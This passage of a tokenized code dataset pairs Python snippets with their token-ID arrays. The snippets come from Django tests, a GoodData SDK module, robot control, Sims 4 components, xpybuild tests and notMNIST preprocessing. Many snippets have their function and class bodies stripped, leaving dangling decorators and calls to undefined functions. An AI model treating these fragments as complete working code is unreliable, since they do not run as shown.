8, 201, 198, 201, 198 ]
1.594891
274
from django.test import TestCase, Client from .models import Profile from django.contrib.auth.models import User import unittest from .forms import SignUpForm from .signals import show_login_message, show_logout_message from django.contrib.auth.signals import user_logged_out, user_logged_in from django.contrib import messages from django.contrib.messages.middleware import MessageMiddleware from django.contrib.sessions.middleware import SessionMiddleware # Create your tests here.
[ 6738, 42625, 14208, 13, 9288, 1330, 6208, 20448, 11, 20985, 201, 198, 6738, 764, 27530, 1330, 13118, 201, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 27530, 1330, 11787, 201, 198, 11748, 555, 715, 395, 201, 198, 6738, 764, 23914, 1330, 5865, 4933, 8479, 201, 198, 6738, 764, 12683, 874, 1330, 905, 62, 38235, 62, 20500, 11, 905, 62, 6404, 448, 62, 20500, 201, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 12683, 874, 1330, 2836, 62, 6404, 2004, 62, 448, 11, 2836, 62, 6404, 2004, 62, 259, 201, 198, 6738, 42625, 14208, 13, 3642, 822, 1330, 6218, 201, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 37348, 1095, 13, 27171, 1574, 1330, 16000, 34621, 1574, 201, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 82, 6202, 13, 27171, 1574, 1330, 23575, 34621, 1574, 201, 198, 201, 198, 2, 13610, 534, 5254, 994, 13, 201, 198, 201, 198 ]
3.282895
152
# (C) 2022 GoodData Corporation from __future__ import annotations from pathlib import Path from typing import Any, List, Optional, Type import attr from gooddata_metadata_client.model.declarative_data_source import DeclarativeDataSource from gooddata_metadata_client.model.declarative_data_sources import DeclarativeDataSources from gooddata_scan_client.model.test_definition_request import TestDefinitionRequest from gooddata_sdk.catalog.base import Base from gooddata_sdk.catalog.data_source.declarative_model.physical_model.pdm import CatalogDeclarativeTables from gooddata_sdk.catalog.entity import TokenCredentialsFromFile from gooddata_sdk.catalog.permissions.permission import CatalogDeclarativeDataSourcePermission from gooddata_sdk.utils import create_directory, read_layout_from_file, write_layout_to_file BIGQUERY_TYPE = "BIGQUERY" LAYOUT_DATA_SOURCES_DIR = "data_sources" @attr.s(auto_attribs=True, kw_only=True) @attr.s(auto_attribs=True, kw_only=True)
[ 2, 357, 34, 8, 33160, 4599, 6601, 10501, 198, 6738, 11593, 37443, 834, 1330, 37647, 198, 198, 6738, 3108, 8019, 1330, 10644, 198, 6738, 19720, 1330, 4377, 11, 7343, 11, 32233, 11, 5994, 198, 198, 11748, 708, 81, 198, 198, 6738, 922, 7890, 62, 38993, 62, 16366, 13, 19849, 13, 32446, 283, 876, 62, 7890, 62, 10459, 1330, 16691, 283, 876, 6601, 7416, 198, 6738, 922, 7890, 62, 38993, 62, 16366, 13, 19849, 13, 32446, 283, 876, 62, 7890, 62, 82, 2203, 1330, 16691, 283, 876, 6601, 21188, 198, 6738, 922, 7890, 62, 35836, 62, 16366, 13, 19849, 13, 9288, 62, 46758, 62, 25927, 1330, 6208, 36621, 18453, 198, 6738, 922, 7890, 62, 21282, 74, 13, 9246, 11794, 13, 8692, 1330, 7308, 198, 6738, 922, 7890, 62, 21282, 74, 13, 9246, 11794, 13, 7890, 62, 10459, 13, 32446, 283, 876, 62, 19849, 13, 42854, 62, 19849, 13, 30094, 76, 1330, 44515, 37835, 283, 876, 51, 2977, 198, 6738, 922, 7890, 62, 21282, 74, 13, 9246, 11794, 13, 26858, 1330, 29130, 34, 445, 14817, 4863, 8979, 198, 6738, 922, 7890, 62, 21282, 74, 13, 9246, 11794, 13, 525, 8481, 13, 525, 3411, 1330, 44515, 37835, 283, 876, 6601, 7416, 5990, 3411, 198, 6738, 922, 7890, 62, 21282, 74, 13, 26791, 1330, 2251, 62, 34945, 11, 1100, 62, 39786, 62, 6738, 62, 7753, 11, 3551, 62, 39786, 62, 1462, 62, 7753, 198, 198, 3483, 38, 10917, 19664, 62, 25216, 796, 366, 3483, 38, 10917, 19664, 1, 198, 43, 4792, 12425, 62, 26947, 62, 50, 2606, 7397, 1546, 62, 34720, 796, 366, 7890, 62, 82, 2203, 1, 628, 198, 31, 35226, 13, 82, 7, 23736, 62, 1078, 822, 82, 28, 17821, 11, 479, 86, 62, 8807, 28, 17821, 8, 628, 198, 31, 35226, 13, 82, 7, 23736, 62, 1078, 822, 82, 28, 17821, 11, 479, 86, 62, 8807, 28, 17821, 8, 198 ]
3.15534
309
# Copyright (c) Anish Acharya. # Licensed under the MIT License import numpy as np from .base_gar import GAR from typing import List """ Ghosh et.al. Communication-Efficient and Byzantine-Robust Distributed Learning with Error Feedback """
[ 2, 15069, 357, 66, 8, 1052, 680, 26219, 43898, 13, 198, 2, 49962, 739, 262, 17168, 13789, 198, 198, 11748, 299, 32152, 355, 45941, 198, 6738, 764, 8692, 62, 4563, 1330, 402, 1503, 198, 6738, 19720, 1330, 7343, 198, 198, 37811, 198, 41126, 3768, 2123, 13, 282, 13, 26117, 12, 36, 5632, 290, 45772, 12, 14350, 436, 4307, 6169, 18252, 351, 13047, 37774, 198, 37811, 628 ]
3.681818
66
# -*- coding: utf-8 -*- """ TencentBlueKing is pleased to support the open source community by making 蓝鲸智云-用户管理(Bk-User) available. Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://opensource.org/licenses/MIT Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from bkuser_shell.common.constants import ChoicesEnum from django.utils.translation import ugettext_lazy as _
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 24893, 1087, 14573, 15708, 318, 10607, 284, 1104, 262, 1280, 2723, 2055, 416, 1642, 5525, 241, 251, 165, 110, 116, 162, 247, 118, 12859, 239, 12, 18796, 101, 22755, 115, 163, 106, 94, 49426, 228, 7, 33, 74, 12, 12982, 8, 1695, 13, 198, 15269, 357, 34, 8, 2177, 12, 1238, 2481, 2320, 43, 317, 1959, 15302, 11, 257, 9368, 1087, 1664, 13, 1439, 2489, 10395, 13, 198, 26656, 15385, 739, 262, 17168, 13789, 357, 1169, 366, 34156, 15341, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 1639, 743, 7330, 257, 4866, 286, 262, 13789, 379, 2638, 1378, 44813, 1668, 13, 2398, 14, 677, 4541, 14, 36393, 198, 28042, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 9387, 739, 262, 13789, 318, 9387, 319, 198, 272, 366, 1921, 3180, 1, 29809, 1797, 11, 42881, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 4091, 262, 13789, 329, 262, 198, 11423, 3303, 15030, 21627, 290, 11247, 739, 262, 13789, 13, 198, 37811, 198, 6738, 275, 74, 7220, 62, 29149, 13, 11321, 13, 9979, 1187, 1330, 10031, 1063, 4834, 388, 198, 6738, 42625, 14208, 13, 26791, 13, 41519, 1330, 334, 1136, 5239, 62, 75, 12582, 355, 4808, 628 ]
3.605263
228
from wpilib.command import Subsystem from constants import Constants from utils import singleton, lazytalonsrx import logging from commands import rollclimbroller class ClimbRoller(Subsystem, metaclass=singleton.Singleton): """The climb roller subsystem controlls the rollers on the end of the front arm.""" def init(self): """Initialize the intake motors. This is not in the constructor to make the calling explicit in the robotInit to the robot simulator.""" self.l_motor = lazytalonsrx.LazyTalonSRX(Constants.CRL_MOTOR_ID) self.r_motor = lazytalonsrx.LazyTalonSRX(Constants.CRR_MOTOR_ID) self.l_motor.initialize( inverted=False, encoder=False, name="Climb Roller Left") self.r_motor.initialize( inverted=False, encoder=False, name="Climb Roller Right") def setPercentOutput(self, l_signal, r_signal): """Set the percent output of the 2 motors.""" self.l_motor.setPercentOutput(l_signal, max_signal=1) self.r_motor.setPercentOutput(r_signal, max_signal=1) def roll(self, signal): """Move the rollers at the same speed.""" if(signal > 0): logging.warn("Will not roll climb rollers backwards") return self.setPercentOutput(signal, signal) def stop(self): """Stop the rollers.""" self.setPercentOutput(0, 0)
[ 6738, 266, 79, 22282, 13, 21812, 1330, 3834, 10057, 198, 6738, 38491, 1330, 4757, 1187, 198, 6738, 3384, 4487, 1330, 2060, 1122, 11, 16931, 39240, 684, 40914, 198, 11748, 18931, 198, 6738, 9729, 1330, 4836, 565, 14107, 10646, 628, 198, 4871, 1012, 14107, 26869, 263, 7, 7004, 10057, 11, 1138, 330, 31172, 28, 12215, 10565, 13, 29974, 10565, 2599, 198, 220, 220, 220, 37227, 464, 12080, 24471, 39335, 1246, 297, 82, 262, 4836, 364, 319, 262, 886, 286, 262, 2166, 3211, 526, 15931, 628, 220, 220, 220, 825, 2315, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 24243, 1096, 262, 10337, 24699, 13, 770, 318, 407, 287, 262, 23772, 284, 787, 262, 4585, 7952, 287, 262, 9379, 31768, 284, 262, 9379, 35375, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 75, 62, 76, 20965, 796, 16931, 39240, 684, 40914, 13, 43, 12582, 31466, 261, 12562, 55, 7, 34184, 1187, 13, 34, 7836, 62, 44, 2394, 1581, 62, 2389, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 81, 62, 76, 20965, 796, 16931, 39240, 684, 40914, 13, 43, 12582, 31466, 261, 12562, 55, 7, 34184, 1187, 13, 9419, 49, 62, 44, 2394, 1581, 62, 2389, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 75, 62, 76, 20965, 13, 36733, 1096, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37204, 28, 25101, 11, 2207, 12342, 28, 25101, 11, 1438, 2625, 34, 2475, 65, 24945, 9578, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 81, 62, 76, 20965, 13, 36733, 1096, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37204, 28, 25101, 11, 2207, 12342, 28, 25101, 11, 1438, 2625, 34, 2475, 65, 24945, 6498, 4943, 628, 220, 220, 220, 825, 900, 31905, 26410, 7, 944, 11, 300, 62, 12683, 282, 11, 374, 62, 12683, 282, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 7248, 262, 1411, 5072, 286, 262, 362, 24699, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 75, 62, 76, 20965, 13, 2617, 31905, 26410, 7, 75, 62, 12683, 282, 11, 3509, 62, 12683, 282, 28, 16, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 81, 62, 76, 20965, 13, 2617, 31905, 26410, 7, 81, 62, 12683, 282, 11, 3509, 62, 12683, 282, 28, 16, 8, 628, 220, 220, 220, 825, 4836, 7, 944, 11, 6737, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 21774, 262, 4836, 364, 379, 262, 976, 2866, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 611, 7, 12683, 282, 1875, 657, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 18931, 13, 40539, 7203, 8743, 407, 4836, 12080, 4836, 364, 16196, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 2617, 31905, 26410, 7, 12683, 282, 11, 6737, 8, 628, 220, 220, 220, 825, 2245, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 19485, 262, 4836, 364, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 2617, 31905, 26410, 7, 15, 11, 657, 8, 198 ]
2.53663
546
from objects.components import Component, types, ComponentPriority from objects.components.state import TunableStateTypeReference, TunableStateValueReference from sims4.tuning.tunable import HasTunableFactory, AutoFactoryInit, TunableList, TunableReference, Tunable import services import sims4.resources from snippets import define_snippet (_, TunableStereoComponentSnippet) = define_snippet('stereo_component', StereoComponent.TunableFactory())
[ 6738, 5563, 13, 5589, 3906, 1330, 35100, 11, 3858, 11, 35100, 22442, 414, 198, 6738, 5563, 13, 5589, 3906, 13, 5219, 1330, 13932, 540, 9012, 6030, 26687, 11, 13932, 540, 9012, 11395, 26687, 198, 6738, 985, 82, 19, 13, 28286, 278, 13, 28286, 540, 1330, 7875, 51, 403, 540, 22810, 11, 11160, 22810, 31768, 11, 13932, 540, 8053, 11, 13932, 540, 26687, 11, 13932, 540, 198, 11748, 2594, 198, 11748, 985, 82, 19, 13, 37540, 198, 6738, 45114, 1330, 8160, 62, 16184, 3974, 316, 198, 198, 28264, 11, 13932, 540, 1273, 32934, 21950, 16501, 3974, 316, 8, 796, 8160, 62, 16184, 3974, 316, 10786, 301, 32934, 62, 42895, 3256, 520, 32934, 21950, 13, 51, 403, 540, 22810, 28955 ]
3.788136
118
from .lexer import Lexer from dataclasses_json import dataclass_json from dataclasses import dataclass, field from typing import List, Tuple, Union # Parser of .base files # Syntax is semicolon separated list of qualified types @dataclass_json @dataclass @dataclass_json @dataclass
[ 198, 6738, 764, 2588, 263, 1330, 17210, 263, 198, 198, 6738, 4818, 330, 28958, 62, 17752, 1330, 4818, 330, 31172, 62, 17752, 198, 198, 6738, 4818, 330, 28958, 1330, 4818, 330, 31172, 11, 2214, 198, 6738, 19720, 1330, 7343, 11, 309, 29291, 11, 4479, 198, 198, 2, 23042, 263, 286, 764, 8692, 3696, 198, 2, 26375, 897, 318, 5026, 27045, 261, 11266, 1351, 286, 10617, 3858, 198, 198, 31, 19608, 330, 31172, 62, 17752, 198, 31, 19608, 330, 31172, 198, 198, 31, 19608, 330, 31172, 62, 17752, 198, 31, 19608, 330, 31172, 198 ]
3.096774
93
# # Copyright (c) 2013 - 2017, 2019 Software AG, Darmstadt, Germany and/or its licensors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os from xpybuild.propertysupport import * from xpybuild.buildcommon import * from xpybuild.pathsets import * from xpybuild.targets.native import * from xpybuild.targets.copy import Copy from xpybuild.utils.compilers import GCC, VisualStudio include(os.environ['PYSYS_TEST_ROOT_DIR']+'/build_utilities/native_config.xpybuild.py') setGlobalOption('native.include.upToDateCheckIgnoreRegex', '(c:/program files.*|.*/tESt4.h)' if IS_WINDOWS else '.*/test4.h') setGlobalOption('native.include.upToDateCheckIgnoreSystemHeaders', True) # only works on linux/gcc currently Copy('${OUTPUT_DIR}/my-generated-include-files/', FindPaths('./include-src/')) Copy('${OUTPUT_DIR}/my-generated-include-files2/generatedpath/test3.h', FindPaths('./include-src/generatedpath/')) Copy('${OUTPUT_DIR}/test-generated.cpp', './test.cpp') Cpp(objectname('${OUTPUT_DIR}/no-target-deps'), './test.cpp', includes=[ "./include/", './include-src/', ] ) Cpp(objectname('${OUTPUT_DIR}/target-cpp-and-include-dir'), '${OUTPUT_DIR}/test-generated.cpp', includes=[ "./include/", '${OUTPUT_DIR}/my-generated-include-files/', # a target ] ) Cpp(objectname('${OUTPUT_DIR}/target-cpp'), '${OUTPUT_DIR}/test-generated.cpp', includes=[ "./include/", './include-src/', ] ) Cpp(objectname('${OUTPUT_DIR}/target-include-dir'), './test.cpp', includes=[ "./include/", '${OUTPUT_DIR}/my-generated-include-files/', # a target ] ) # generated include files in non-target directories are no longer supported Cpp(objectname('${OUTPUT_DIR}/target-include-file'), './test.cpp', includes=[ "./include/", TargetsWithinDir('${OUTPUT_DIR}/my-generated-include-files2/'), # NOT a target, but contains one ] )
[ 2, 198, 2, 15069, 357, 66, 8, 2211, 532, 2177, 11, 13130, 10442, 13077, 11, 360, 1670, 38863, 11, 4486, 290, 14, 273, 663, 8240, 669, 198, 2, 198, 2, 220, 220, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 220, 220, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 220, 220, 921, 743, 7330, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 220, 220, 220, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 220, 220, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 220, 220, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 198, 2, 220, 220, 42881, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 198, 2, 220, 220, 4091, 262, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 198, 2, 220, 220, 11247, 739, 262, 13789, 13, 198, 2, 198, 11748, 28686, 198, 6738, 2124, 9078, 11249, 13, 26745, 11284, 1330, 1635, 198, 6738, 2124, 9078, 11249, 13, 11249, 11321, 1330, 1635, 198, 6738, 2124, 9078, 11249, 13, 6978, 28709, 1330, 1635, 198, 198, 6738, 2124, 9078, 11249, 13, 83, 853, 1039, 13, 30191, 1330, 1635, 198, 6738, 2124, 9078, 11249, 13, 83, 853, 1039, 13, 30073, 1330, 17393, 198, 6738, 2124, 9078, 11249, 13, 26791, 13, 5589, 34393, 1330, 42362, 11, 15612, 41501, 198, 198, 17256, 7, 418, 13, 268, 2268, 17816, 47, 16309, 16309, 62, 51, 6465, 62, 13252, 2394, 62, 34720, 20520, 10, 26488, 11249, 62, 315, 2410, 14, 30191, 62, 11250, 13, 87, 9078, 11249, 13, 9078, 11537, 198, 198, 2617, 22289, 19722, 10786, 30191, 13, 17256, 13, 929, 2514, 10430, 9787, 32916, 382, 3041, 25636, 3256, 29513, 66, 14079, 23065, 3696, 15885, 91, 15885, 14, 83, 36, 1273, 19, 13, 71, 33047, 611, 3180, 62, 33207, 2073, 705, 15885, 14, 9288, 19, 13, 71, 11537, 198, 2617, 22289, 19722, 10786, 30191, 13, 17256, 13, 929, 2514, 10430, 9787, 32916, 382, 11964, 13847, 364, 3256, 6407, 8, 1303, 691, 2499, 319, 32639, 14, 70, 535, 3058, 198, 198, 29881, 10786, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 1820, 12, 27568, 12, 17256, 12, 16624, 14, 3256, 9938, 15235, 82, 7, 4458, 14, 17256, 12, 10677, 14, 6, 4008, 198, 29881, 10786, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 1820, 12, 27568, 12, 17256, 12, 16624, 17, 14, 27568, 6978, 14, 9288, 18, 13, 71, 3256, 9938, 15235, 82, 7, 4458, 14, 17256, 12, 10677, 14, 27568, 6978, 14, 6, 4008, 198, 29881, 10786, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 9288, 12, 27568, 13, 20322, 3256, 705, 19571, 9288, 13, 20322, 11537, 198, 198, 34, 381, 7, 15252, 3672, 10786, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 3919, 12, 16793, 12, 10378, 82, 33809, 705, 19571, 9288, 13, 20322, 3256, 198, 197, 197, 42813, 41888, 198, 197, 197, 197, 1911, 14, 17256, 14, 1600, 198, 197, 197, 197, 4458, 14, 17256, 12, 10677, 14, 3256, 198, 197, 197, 60, 198, 8, 198, 198, 34, 381, 7, 15252, 3672, 10786, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 16793, 12, 20322, 12, 392, 12, 17256, 12, 15908, 33809, 705, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 9288, 12, 27568, 13, 20322, 3256, 198, 197, 197, 42813, 41888, 198, 197, 197, 197, 1911, 14, 17256, 14, 1600, 198, 197, 197, 197, 6, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 1820, 12, 27568, 12, 17256, 12, 16624, 14, 3256, 1303, 257, 2496, 198, 197, 197, 60, 198, 8, 198, 198, 34, 381, 7, 15252, 3672, 10786, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 16793, 12, 20322, 33809, 705, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 9288, 12, 27568, 13, 20322, 3256, 198, 197, 197, 42813, 41888, 198, 197, 197, 197, 1911, 14, 17256, 14, 1600, 198, 197, 197, 197, 4458, 14, 17256, 12, 10677, 14, 3256, 198, 197, 197, 60, 198, 8, 198, 198, 34, 381, 7, 15252, 3672, 10786, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 16793, 12, 17256, 12, 15908, 33809, 705, 19571, 9288, 13, 20322, 3256, 198, 197, 197, 42813, 41888, 198, 197, 197, 197, 1911, 14, 17256, 14, 1600, 198, 197, 197, 197, 6, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 1820, 12, 27568, 12, 17256, 12, 16624, 14, 3256, 1303, 257, 2496, 198, 197, 197, 60, 198, 8, 198, 198, 2, 7560, 2291, 3696, 287, 1729, 12, 16793, 29196, 389, 645, 2392, 4855, 198, 198, 34, 381, 7, 15252, 3672, 10786, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 16793, 12, 17256, 12, 7753, 33809, 705, 19571, 9288, 13, 20322, 3256, 198, 197, 197, 42813, 41888, 198, 197, 197, 197, 1911, 14, 17256, 14, 1600, 198, 197, 197, 197, 51, 853, 1039, 22005, 35277, 10786, 38892, 2606, 7250, 3843, 62, 34720, 92, 14, 1820, 12, 27568, 12, 17256, 12, 16624, 17, 14, 33809, 1303, 5626, 257, 2496, 11, 475, 4909, 530, 198, 197, 197, 60, 198, 8, 198 ]
2.748552
863
from __future__ import unicode_literals import logging LOGGER = logging.getLogger(__name__)
[ 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198, 198, 11748, 18931, 198, 198, 25294, 30373, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 628, 220, 220, 220, 220, 628, 628, 198, 220, 220, 220, 220 ]
2.634146
41
# add dependency directory to the Python path import site import os.path site.addsitedir(os.path.join(os.path.dirname(__file__), 'deps')) # call header.py from xpidl import header header.main()
[ 2, 751, 20203, 8619, 284, 262, 11361, 3108, 201, 198, 11748, 2524, 201, 198, 11748, 28686, 13, 6978, 201, 198, 201, 198, 15654, 13, 2860, 82, 863, 343, 7, 418, 13, 6978, 13, 22179, 7, 418, 13, 6978, 13, 15908, 3672, 7, 834, 7753, 834, 828, 705, 10378, 82, 6, 4008, 198, 198, 2, 869, 13639, 13, 9078, 198, 6738, 2124, 35317, 75, 1330, 13639, 198, 198, 25677, 13, 12417, 3419 ]
2.816901
71
from snim.snim_state import SnimState
[ 6738, 3013, 320, 13, 16184, 320, 62, 5219, 1330, 5489, 320, 9012 ]
3.083333
12
# imports from __future__ import print_function from IPython.display import display, Image from six.moves import cPickle as pickle from six.moves.urllib.request import urlretrieve from sklearn.linear_model import LogisticRegression import imageio import matplotlib.pyplot as plt import numpy as np import os import sys import tarfile from constants import * from commonconstants import NOT_MNIST_ZIPS_DIR, NOT_MNIST_IMAGES_DIR, NOT_MNIST_PICKLES_DIR from file_helper import get_file_name, join_paths np.random.seed(NUMPY_SEED) last_percent_reported = None def download_progress_hook(count, blockSize, totalSize): """A hook to report the progress of a download. This is mostly intended for users with slow internet connections. Reports every 5% change in download progress. """ global last_percent_reported percent = int(count*blockSize*100 / totalSize) if last_percent_reported != percent: if percent % 5 == 0: sys.stdout.write('%s%%' % percent) sys.stdout.flush() else: sys.stdout.write('.') sys.stdout.flush() last_percent_reported = percent def load_letter(folder, min_num_images): """Load the data for a single letter label.""" image_files = os.listdir(folder) dataset = np.ndarray(shape=(len(image_files), IMAGE_SIZE, IMAGE_SIZE), dtype=np.float32) print(folder) num_images = 0 for image in image_files: image_file = os.path.join(folder, image) try: image_data = (imageio.imread(image_file).astype(float) - PIXEl_DEPTh / 2) / PIXEl_DEPTh if image_data.shape != (IMAGE_SIZE, IMAGE_SIZE): raise Exception('Unexpected image shape: %s' % str(image_data.shape)) dataset[num_images, :, :] = image_data num_images = num_images + 1 except (IOError, ValueError) as e: print('Could not read:', image_file, ':', e, '- it\'s ok, skipping.') dataset = dataset[0:num_images, :, :] if num_images < min_num_images: raise Exception('Many fewer images than expected: %d < %d' % (num_images, min_num_images)) print('Full dataset tensor:', dataset.shape) print('Mean:', np.mean(dataset)) print('Standard deviation:', np.std(dataset)) return dataset if __name__ == '__main__': # Large main(TRAINING_SIZE, VALIDATION_SIZE, TEST_SIZE, FINAL_DATASET_FILENAME) # Small main(TRAINING_SIZE_SMALL, VALIDATION_SIZE_SMALL, TEST_SIZE_SMALL, FINAL_DATASET_FILENAME_SMALL)
[ 2, 17944, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 6738, 6101, 7535, 13, 13812, 1330, 3359, 11, 7412, 198, 6738, 2237, 13, 76, 5241, 1330, 269, 31686, 293, 355, 2298, 293, 198, 6738, 2237, 13, 76, 5241, 13, 333, 297, 571, 13, 25927, 1330, 19016, 1186, 30227, 198, 6738, 1341, 35720, 13, 29127, 62, 19849, 1330, 5972, 2569, 8081, 2234, 198, 11748, 2939, 952, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 28686, 198, 11748, 25064, 198, 11748, 13422, 7753, 198, 198, 6738, 38491, 1330, 1635, 198, 6738, 2219, 9979, 1187, 1330, 5626, 62, 39764, 8808, 62, 57, 47643, 62, 34720, 11, 5626, 62, 39764, 8808, 62, 3955, 25552, 62, 34720, 11, 5626, 62, 39764, 8808, 62, 47, 11860, 28378, 62, 34720, 198, 6738, 2393, 62, 2978, 525, 1330, 651, 62, 7753, 62, 3672, 11, 4654, 62, 6978, 82, 198, 198, 37659, 13, 25120, 13, 28826, 7, 45, 20476, 56, 62, 5188, 1961, 8, 198, 12957, 62, 25067, 62, 26263, 796, 6045, 628, 198, 4299, 4321, 62, 33723, 62, 25480, 7, 9127, 11, 2512, 10699, 11, 2472, 10699, 2599, 198, 220, 220, 220, 37227, 32, 8011, 284, 989, 262, 4371, 286, 257, 4321, 13, 770, 318, 4632, 5292, 329, 2985, 351, 198, 220, 220, 220, 220, 220, 3105, 5230, 8787, 13, 17905, 790, 642, 4, 1487, 287, 4321, 4371, 13, 198, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 3298, 938, 62, 25067, 62, 26263, 198, 220, 220, 220, 1411, 796, 493, 7, 9127, 9, 9967, 10699, 9, 3064, 1220, 2472, 10699, 8, 198, 220, 220, 220, 611, 938, 62, 25067, 62, 26263, 14512, 1411, 25, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1411, 4064, 642, 6624, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 19282, 448, 13, 13564, 10786, 4, 82, 16626, 6, 4064, 1411, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 19282, 448, 13, 25925, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 19282, 448, 13, 13564, 10786, 2637, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25064, 13, 19282, 448, 13, 25925, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 938, 62, 25067, 62, 26263, 796, 1411, 628, 628, 198, 4299, 3440, 62, 9291, 7, 43551, 11, 949, 62, 22510, 62, 17566, 2599, 198, 220, 220, 220, 37227, 8912, 262, 1366, 329, 257, 2060, 3850, 6167, 526, 15931, 198, 220, 220, 220, 2939, 62, 16624, 796, 28686, 13, 4868, 15908, 7, 43551, 8, 198, 220, 220, 220, 27039, 796, 45941, 13, 358, 18747, 7, 43358, 16193, 11925, 7, 9060, 62, 16624, 828, 8959, 11879, 62, 33489, 11, 8959, 11879, 62, 33489, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 288, 4906, 28, 37659, 13, 22468, 2624, 8, 198, 220, 220, 220, 3601, 7, 43551, 8, 198, 220, 220, 220, 997, 62, 17566, 796, 657, 198, 220, 220, 220, 329, 2939, 287, 2939, 62, 16624, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2939, 62, 7753, 796, 28686, 13, 6978, 13, 22179, 7, 43551, 11, 2939, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2939, 62, 7890, 796, 357, 9060, 952, 13, 320, 961, 7, 9060, 62, 7753, 737, 459, 2981, 7, 22468, 8, 532, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 350, 10426, 9527, 62, 46162, 817, 1220, 362, 8, 1220, 350, 10426, 9527, 62, 46162, 817, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2939, 62, 7890, 13, 43358, 14512, 357, 3955, 11879, 62, 33489, 11, 8959, 11879, 62, 33489, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 35528, 10786, 52, 42072, 2939, 5485, 25, 4064, 82, 6, 